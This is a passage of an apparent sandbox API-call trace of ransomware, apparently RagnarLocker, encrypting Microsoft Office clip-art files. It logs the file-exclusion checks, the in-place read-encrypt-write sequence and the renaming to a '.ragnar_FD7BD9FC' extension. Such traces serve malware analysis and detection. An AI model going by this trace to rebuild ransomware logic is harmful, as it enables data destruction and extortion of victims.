lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0095.577] VirtualAlloc (lpAddress=0x0, dwSize=0xb34e, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0095.577] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.577] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0095.577] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xb34e, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xb34e, lpOverlapped=0x0) returned 1 [0095.579] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0095.579] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xb34e, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.579] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xb34e, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xb34e, lpOverlapped=0x0) returned 1 [0095.579] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xb34e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.579] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.580] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xb34e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.580] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.580] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.580] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.580] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0095.580] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.580] GetProcessHeap () returned 0x580000 [0095.580] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0095.580] CloseHandle (hObject=0x104) returned 1 [0095.580] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0211949.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0211949.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0211949.WMF" [0095.580] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0211949.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0211949.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0211949.WMF.ragnar_FD7BD9FC" [0095.580] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0211949.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0211949.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0211949.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0211949.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0095.582] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50527800, ftCreationTime.dwHighDateTime=0x1be5610, ftLastAccessTime.dwLowDateTime=0xbd4ece40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x50527800, ftLastWriteTime.dwHighDateTime=0x1be5610, nFileSizeHigh=0x0, nFileSizeLow=0x11be, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0212219.WMF", cAlternateFileName="")) returned 1 [0095.582] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0095.582] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0212219.WMF" | out: lpString1="J0212219.WMF") returned="J0212219.WMF" [0095.582] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212219.WMF") returned=".WMF" [0095.582] lstrcmpiW (lpString1="J0212219.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0095.582] lstrcmpiW (lpString1="J0212219.WMF", lpString2="autorun.inf") returned 1 [0095.582] lstrcmpiW (lpString1="J0212219.WMF", lpString2="boot.ini") returned 1 [0095.582] lstrcmpiW (lpString1="J0212219.WMF", lpString2="bootfont.bin") returned 1 [0095.582] lstrcmpiW (lpString1="J0212219.WMF", lpString2="bootsect.bak") returned 1 [0095.582] lstrcmpiW (lpString1="J0212219.WMF", lpString2="bootmgr") returned 1 [0095.582] lstrcmpiW (lpString1="J0212219.WMF", lpString2="bootmgr.efi") returned 1 [0095.582] lstrcmpiW (lpString1="J0212219.WMF", lpString2="bootmgfw.efi") returned 1 [0095.582] lstrcmpiW (lpString1="J0212219.WMF", lpString2="desktop.ini") returned 1 [0095.582] lstrcmpiW (lpString1="J0212219.WMF", lpString2="iconcache.db") returned 1 [0095.582] lstrcmpiW (lpString1="J0212219.WMF", lpString2="ntldr") returned -1 [0095.582] lstrcmpiW (lpString1="J0212219.WMF", lpString2="ntuser.dat") returned -1 [0095.582] lstrcmpiW (lpString1="J0212219.WMF", lpString2="ntuser.dat.log") returned -1 [0095.583] lstrcmpiW (lpString1="J0212219.WMF", lpString2="ntuser.ini") returned -1 [0095.583] lstrcmpiW (lpString1="J0212219.WMF", lpString2="thumbs.db") returned -1 [0095.583] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0095.583] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0095.583] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0095.583] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0095.583] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0095.583] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0095.583] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0095.583] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212219.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0212219.wmf")) returned 0x20 [0095.583] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212219.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0212219.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0095.584] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=4542) returned 1 [0095.584] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x11b5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.584] GetProcessHeap () returned 0x580000 [0095.584] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0095.584] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0095.585] VirtualAlloc (lpAddress=0x0, dwSize=0x11be, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0095.585] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.586] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0095.586] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x11be, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x11be, lpOverlapped=0x0) returned 1 [0095.586] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0095.586] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x11be, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.586] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x11be, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x11be, lpOverlapped=0x0) returned 1 [0095.587] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x11be, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.587] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.587] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x11be, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.587] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.587] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.587] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.587] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0095.587] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.587] GetProcessHeap () returned 0x580000 [0095.587] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0095.587] CloseHandle (hObject=0x104) returned 1 [0095.587] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212219.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212219.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212219.WMF" [0095.587] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212219.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212219.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212219.WMF.ragnar_FD7BD9FC" [0095.587] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212219.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0212219.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212219.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0212219.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0095.588] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56952400, ftCreationTime.dwHighDateTime=0x1be5611, ftLastAccessTime.dwLowDateTime=0xbd4ece40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x56952400, ftLastWriteTime.dwHighDateTime=0x1be5611, nFileSizeHigh=0x0, nFileSizeLow=0x248e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0212661.WMF", cAlternateFileName="")) returned 1 [0095.588] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0095.588] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0212661.WMF" | out: lpString1="J0212661.WMF") returned="J0212661.WMF" [0095.588] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212661.WMF") returned=".WMF" [0095.588] lstrcmpiW (lpString1="J0212661.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0095.588] lstrcmpiW (lpString1="J0212661.WMF", lpString2="autorun.inf") returned 1 [0095.588] lstrcmpiW (lpString1="J0212661.WMF", lpString2="boot.ini") returned 1 [0095.588] lstrcmpiW (lpString1="J0212661.WMF", lpString2="bootfont.bin") returned 1 [0095.588] lstrcmpiW (lpString1="J0212661.WMF", lpString2="bootsect.bak") returned 1 [0095.588] lstrcmpiW (lpString1="J0212661.WMF", lpString2="bootmgr") returned 1 [0095.588] lstrcmpiW (lpString1="J0212661.WMF", lpString2="bootmgr.efi") returned 1 [0095.588] lstrcmpiW (lpString1="J0212661.WMF", lpString2="bootmgfw.efi") returned 1 [0095.588] lstrcmpiW (lpString1="J0212661.WMF", lpString2="desktop.ini") returned 1 [0095.588] lstrcmpiW (lpString1="J0212661.WMF", lpString2="iconcache.db") returned 1 [0095.588] lstrcmpiW (lpString1="J0212661.WMF", lpString2="ntldr") returned -1 [0095.589] lstrcmpiW (lpString1="J0212661.WMF", lpString2="ntuser.dat") returned -1 [0095.589] lstrcmpiW (lpString1="J0212661.WMF", lpString2="ntuser.dat.log") returned -1 [0095.589] lstrcmpiW (lpString1="J0212661.WMF", lpString2="ntuser.ini") returned -1 [0095.589] lstrcmpiW (lpString1="J0212661.WMF", lpString2="thumbs.db") returned -1 [0095.589] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0095.589] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0095.589] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0095.589] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0095.589] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0095.589] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0095.589] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0095.589] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212661.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0212661.wmf")) returned 0x20 [0095.589] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212661.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0212661.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0095.589] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=9358) returned 1 [0095.589] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x2485, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.589] GetProcessHeap () returned 0x580000 [0095.590] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0095.590] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0095.591] VirtualAlloc (lpAddress=0x0, dwSize=0x248e, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0095.591] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.591] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0095.591] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x248e, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x248e, lpOverlapped=0x0) returned 1 [0095.592] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0095.592] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x248e, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.592] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x248e, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x248e, lpOverlapped=0x0) returned 1 [0095.592] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x248e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.593] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.593] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x248e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.593] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.593] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.593] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.593] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0095.593] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.593] GetProcessHeap () returned 0x580000 [0095.593] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0095.593] CloseHandle (hObject=0x104) returned 1 [0095.593] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212661.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212661.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212661.WMF" [0095.593] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212661.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212661.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212661.WMF.ragnar_FD7BD9FC" [0095.593] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212661.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0212661.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212661.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0212661.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0095.594] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e6ca800, ftCreationTime.dwHighDateTime=0x1be5611, ftLastAccessTime.dwLowDateTime=0xbd512fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6e6ca800, ftLastWriteTime.dwHighDateTime=0x1be5611, nFileSizeHigh=0x0, nFileSizeLow=0xb7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0212701.WMF", cAlternateFileName="")) returned 1 [0095.594] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0095.594] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0212701.WMF" | out: lpString1="J0212701.WMF") returned="J0212701.WMF" [0095.594] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212701.WMF") returned=".WMF" [0095.595] lstrcmpiW (lpString1="J0212701.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0095.595] lstrcmpiW (lpString1="J0212701.WMF", lpString2="autorun.inf") returned 1 [0095.595] lstrcmpiW (lpString1="J0212701.WMF", lpString2="boot.ini") returned 1 [0095.595] lstrcmpiW (lpString1="J0212701.WMF", lpString2="bootfont.bin") returned 1 [0095.595] lstrcmpiW (lpString1="J0212701.WMF", lpString2="bootsect.bak") returned 1 [0095.595] lstrcmpiW (lpString1="J0212701.WMF", lpString2="bootmgr") returned 1 [0095.595] lstrcmpiW (lpString1="J0212701.WMF", lpString2="bootmgr.efi") returned 1 [0095.595] lstrcmpiW (lpString1="J0212701.WMF", lpString2="bootmgfw.efi") returned 1 [0095.595] lstrcmpiW (lpString1="J0212701.WMF", lpString2="desktop.ini") returned 1 [0095.595] lstrcmpiW (lpString1="J0212701.WMF", lpString2="iconcache.db") returned 1 [0095.595] lstrcmpiW (lpString1="J0212701.WMF", lpString2="ntldr") returned -1 [0095.595] lstrcmpiW (lpString1="J0212701.WMF", lpString2="ntuser.dat") returned -1 [0095.595] lstrcmpiW (lpString1="J0212701.WMF", lpString2="ntuser.dat.log") returned -1 [0095.595] lstrcmpiW (lpString1="J0212701.WMF", lpString2="ntuser.ini") returned -1 [0095.595] lstrcmpiW (lpString1="J0212701.WMF", lpString2="thumbs.db") returned -1 [0095.595] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0095.595] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0095.595] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0095.595] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0095.595] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0095.595] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0095.595] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0095.595] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212701.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0212701.wmf")) returned 0x20 [0095.595] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212701.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0212701.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0095.596] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2938) returned 1 [0095.596] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xb71, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.596] GetProcessHeap () returned 0x580000 [0095.596] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0095.596] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0095.597] VirtualAlloc (lpAddress=0x0, dwSize=0xb7a, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0095.597] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.598] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0095.598] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xb7a, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xb7a, lpOverlapped=0x0) returned 1 [0095.598] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0095.598] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xb7a, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.598] WriteFile (in: 